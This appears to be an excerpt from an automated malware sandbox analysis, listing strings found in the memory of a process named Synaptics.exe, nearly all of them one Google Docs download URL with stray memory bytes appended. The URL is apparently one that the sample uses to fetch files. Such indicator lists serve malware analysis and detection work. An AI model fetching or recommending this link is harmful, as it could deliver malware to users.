Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX-V
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXA
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXN
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ$
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_.(
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadalifoy
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbB
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbv
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce$
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce-
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcher
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadct
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcuri
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcyu
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddN
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.com
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade8
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeC
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeTw
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeV
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectin
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadef.
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadek
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadena
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoa
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadere
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetle
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfPr
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfor
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg1
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgE
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadggpht.cn?(
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgxq
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhL
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhU
Source: Synaptics.exe, 00000004.00000002.2537092293.000000000C96E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2528325445.000000000699E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2561933231.0000000014B3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2562937353.00000000158FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2531914603.00000000076EE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2556961561.0000000010AAE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2555989110.000000000FCEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2560893436.0000000013EBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2537365829.000000000CBEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2551206758.000000000E52E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2557582484.000000001136E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2557875148.000000001172E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2553023388.000000000F06E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2560816353.0000000013D7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2560189642.00000000134BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2551380076.000000000E66E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2560371513.000000001373E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2561336497.00000000143BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2557489077.000000001122E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2529069116.00000000073AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2557682794.00000000114AE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000004.00000002.2532759525.00000000089AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2536053347.000000000BBAE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2568239629.0000000016BBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2527568628.000000000601E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2532898946.0000000008C2E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2569440947.0000000016F7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2559082108.00000000125BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2532693655.000000000886E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2558290618.0000000011E3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2559460304.0000000012ABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2559365558.000000001297E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2556595304.00000000105AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2533252926.000000000926E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2559731200.0000000012E7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2538721882.000000000D36E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2534712710.000000000A8EE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2529000793.000000000726E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2559551653.0000000012BFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2556504535.000000001046E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2568872141.0000000016CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2559644828.0000000012D3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi4
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadie
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadio0
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion07
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjC6
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjM
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjT
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadje
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjecti
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjk
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjlv
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk&
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlE
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleI
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleM
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmU
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeY
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.(
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnL
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadns-P
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnt
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DE98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom8
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadomI
